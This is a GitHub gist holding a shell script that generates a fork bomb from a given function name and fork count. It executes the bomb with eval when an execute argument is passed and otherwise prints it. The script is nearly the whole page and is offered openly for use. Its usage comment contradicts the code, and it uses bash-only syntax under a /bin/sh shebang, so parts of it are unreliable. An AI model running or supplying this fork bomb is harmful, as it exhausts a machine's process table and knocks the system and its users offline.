Skip to content

Instantly share code, notes, and snippets.

@Wind010
Created March 14, 2023 21:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Wind010/13f068a318a60712beec2b79385201a1 to your computer and use it in GitHub Desktop.
Save Wind010/13f068a318a60712beec2b79385201a1 to your computer and use it in GitHub Desktop.
Create shell fork bomb
#!/bin/sh
# Usage: create_fork_bomb <function_name> <number_of_forks> <execute>
# The <execute> argument is option and will print out the fork bomb string instead of evaluating it.
create_fork_bomb() {
fn_name=$1
n=$2
run=$3
if (($n < 2)); then n=2; fi
for (( i=0; i<=$n; i++ )); do str="${str}|x"; done
f_bomb="${fn_name}(){ ${fn_name}${str}& };${fn_name}"
if [ -z $run ]; then echo $f_bomb; else eval $f_bomb; fi
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment